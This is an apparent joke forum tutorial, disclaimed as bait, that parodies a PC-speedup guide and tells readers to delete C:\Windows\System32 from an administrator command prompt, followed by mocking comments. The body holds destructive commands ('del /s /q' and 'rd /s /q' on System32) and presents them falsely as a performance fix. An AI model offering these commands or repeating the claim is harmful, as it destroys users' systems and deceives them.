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How to brick your computer! (DO NOT FOLLOW THIS TUTORIAL.)

THIS TUTORIAL IS A JOKE AND SHOULD NOT BE FOLLOWED, THIS SHIT CAN CAUSE DAMAGE TO YOUR WINDOWS INSTALLATION.
IF YOU ARE GOING TO TRY THIS, USE A VIRTUAL MACHINE
CONSIDER YOUR SELF WARNED.
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SLOW PC? LAGGING ON CS? ON TF2? NO WORRIES! THIS SIMPLE FOLDER LOCATED ON THE C: DRIVE IS THE PROBLEM! GET RID OF IT ASAP!


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JUST FOLLOW THESE SIMPLE COMMANDS!

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(eerrrr just wait a sec my windows 7 is installing ._.)

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DONEEE! INSTALLED WITH SUCS.. UH??? HOW DO I SPELL THE WORD SUCCESS?

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STEP 1: GO ON THE START MENU!1
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STEP 2: SEARCH UP MSDOS OR CMD!!
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STEP 3: RUN AS ADMINISTRATOR! (SORRY FOR THE PT-BR INSTALLATION!!!)
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SECOND OPTION!
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STEP 4: RUN THESE COMMANDS!
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 del /s /q C:\Windows\System32\*

s
rd /s /q C:\Windows\System32


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STEP 5: REBOOT AND SEE THE GREAT RESULTS!
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IGNORE THE FAILLED AUTO-REPAIR, THAT'S MICROSOFT STOPPING YOUR NEW SUPER PC!
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By SysWOW64! This is a bait, do not follow this shit


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shadow

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what was even the point in posting this


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idk, what do you think? :P

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Minidroit

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Thanks, this fixed my PC issue ^_^ (my issue was that my pc was working)


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lul gr8 2 know that my totally unharmful tutorial helped uu

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